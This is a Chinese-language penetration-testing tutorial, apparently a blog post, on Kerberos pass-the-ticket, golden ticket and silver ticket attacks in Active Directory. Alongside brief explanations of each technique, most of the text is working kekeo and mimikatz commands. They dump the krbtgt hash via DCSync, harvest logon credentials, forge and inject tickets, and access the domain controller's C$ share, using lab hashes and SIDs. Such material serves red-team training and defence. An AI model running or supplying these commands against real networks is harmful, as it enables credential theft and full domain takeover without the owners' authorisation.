票据传递攻击

@wintry大约 3 分钟

攻击步骤

票据传递(Pass the Ticket,PtT),使用 Kerberos票据,不需要管理员权限,攻击有效期是在票据有效期之内(一般为7天)。

在微软活动目录中颁发的TGT是可移植的,由于Kerberos的无状态特性,TGT中并没有关于票据来源的标识信息。

这意味着可以从某台计算机上导出一个有效的TGT,然后导入到该环境中其他的计算机上。

新导入的票据可以用于域的身份认证,并拥有票据中指定用户的权限来访问网络资源。

工具kekeo:https://github.com/gentilkiwi/kekeo/releases open in new window

1)在当前目录生成一个高权限票据文件

kekeo.exe "tgt::ask /user:Administrator /domain:hacker.org /ntlm:f3a0acba8bcfb8a0896281bbfcb793ed" exit

2)使用系统自带命令,清除内存中的票据

klist purge

3)将票据文件导入内存

kekeo "kerberos::ptt TGT_administrator@WINTRYSEC.LAB_krbtgt~wintrysec.lab@WINTRYSEC.LAB.kirbi" exit

4)列出远程主机的文件

dir \\DC\c$

黄金票据(Golden Ticket)

即伪造的TGT票据,当攻击者拥有了高权限的TGT,就可以发送给KDC的TGS 换取任意服务器的票据(ST),有了金票就有了当前域内的最高控制权限。

原理

金票的利用原理是直接跳过了KDC的AS认证过程(AS-REQ、AS-REP通信)

由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到KDC的TGS,以获取服务票据(ST)

伪造的黄金票据是 有效的TGT票据,因为它是由域账号krbtgtNTLM Hash加密和签名的。

TGT用于向KDC的TGS服务证明Client已经过AS认证,TGT可以被该域内的任何KDC服务器解密。

利用过程

1)导出krbtgt的NTLM Hash

#需要域管理员权限
mimikatz.exe "lsadump::dcsync /user:krbtgt" exit

2)获取域中所有用户的SID

应用的时候,去掉SID最后的数字

 #只要是域用户权限就行
wmic useraccount get name,sid

3)制造黄金票据

#1) 清空现有票据
mimikatz.exe "kerberos::purge" exit

#2) 生成票据
 
mimikatz.exe "kerberos::golden /admin:Administrator /domain:wintrysec.lab /sid:S-1-5-21-1160434164-3042164129-2463410311 /krbtgt:a8424e3f13e1253ea732a5245f2f4266 /ticket:Administrator.kiribi" exit

4)将票据注入内存

 mimikatz.exe "kerberos::ptt Administrator.kiribi" exit

5)检索当前会话中的票据

 mimikatz.exe "kerberos::tgt" exit

6)权限验证

 #列出域控的C盘
dir \\DC\c$

白银票据

白银票据:即伪造的TGS票据,也称服务票据ST。

攻击者通过伪造合法的TGS,可以直接发送给Server,访问指定的某个服务。

当拥有Server(Service) Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket。

Server Session Key在未发送Ticket之前,服务器是不知道Server Session Key是什么的。

因此,银票的关键也在于Server的HTLM Hash

利用步骤

1)获取目标服务器的NTLM Hash

 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

2)制造白银票据

#1)用系统命令清空当前系统票据
 klist purge
 
 #2)伪造票据
  
mimikatz.exe "kerberos::golden /domain:wintrysec.lab /sid:S-1-5-21-1160434164-3042164129-2463410311 /target:DC.wintrysec.lab /service:CIFS /rc4:f0e889883425d83b0071e789507b3e6b /user:admin666 /ptt" exit

黄金票据和白银票据的不同

访问权限不同:

​ • Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限

​ • Silver Ticket:伪造TGS,只能访问指定的服务

加密方式不同:

​ • Golden Ticket由Kerberos的Hash加密

​ • Silver Ticket由服务账号(通常为计算机账户)Hash加密

认证流程不同:

​ • Golden Ticket的利用过程需要访问域控,

​ • Silver Ticket利用不需要访问域控